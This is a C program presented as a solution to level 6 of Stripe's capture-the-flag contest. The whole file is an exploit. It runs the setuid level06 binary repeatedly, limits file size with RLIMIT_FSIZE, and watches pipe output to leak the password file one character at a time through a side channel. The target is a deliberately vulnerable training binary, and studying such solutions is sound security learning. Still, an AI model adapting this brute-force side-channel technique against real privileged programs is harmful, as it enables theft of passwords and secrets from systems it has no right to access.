ZX2C4's Solution to Stripe's CTF Level 6

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <limits.h>
#include <string.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/wait.h>

int teststr(const char *str)
{
    int out[2];
    pipe2(out, O_NONBLOCK);

    if (fork()) {
        char in_out;
        int status;
        close(out[1]);
        wait(NULL);
        unlink("./tmp");
        usleep(15000);  // This is way longer than it has to be
                // for the purposes of looking awesome.
                status = read(out[0], &in_out, 1);
        close(out[0]);
                return status == 1;

    } else {
        int file;
        char buffer[1025];
        struct rlimit limit;

        dup2(out[1], 1);
        close(out[0]);

        file = creat("./tmp", S_IWUSR | S_IRUSR);
        fcntl(file, F_SETFL, fcntl(file, F_GETFL) & ~O_NONBLOCK);
        dup2(file, 2);

        getrlimit(RLIMIT_FSIZE, &limit);
        limit.rlim_cur = 33 + strlen(str);
        setrlimit(RLIMIT_FSIZE, &limit);

        snprintf(buffer, 1025, "%s~", str);
        execl("/levels/level06", "level06", "/home/the-flag/.password", buffer, NULL);
    }
}
int checkfull(const char *str)
{
    int out[2];
    pipe(out);
    if (fork()) {
        char result[36 + strlen(str)];
        memset(result, 0, sizeof(result));
        close(out[1]);
        wait(NULL);
        read(out[0], &result, sizeof(result));
        close(out[0]);
        return result[sizeof(result) - 2] == 'W';
    } else {
        dup2(out[1], 2);
        close(out[0]);
        close(1);
        execl("/levels/level06", "level06", "/home/the-flag/.password", str, NULL);
    }
}


int main(int argc, char *argv[])
{

    char buffer[1024];
    int i;
    char c;
    memset(buffer, 0, 1024);
    for (i = 0; i < 1024; ++i) {
        for (c = 32; c < 126; ++c) {
            buffer[i] = c;
            printf("\r\033[2KThe password is: %s", buffer);
            fflush(stdout);
            if (!teststr(buffer)) {
                if (checkfull(buffer)) {
                    printf("\n");
                    return 0;
                }
                break;
            }
        }
    }
    printf("\r\033[2Your password is unknown.\n");
    return 1;
}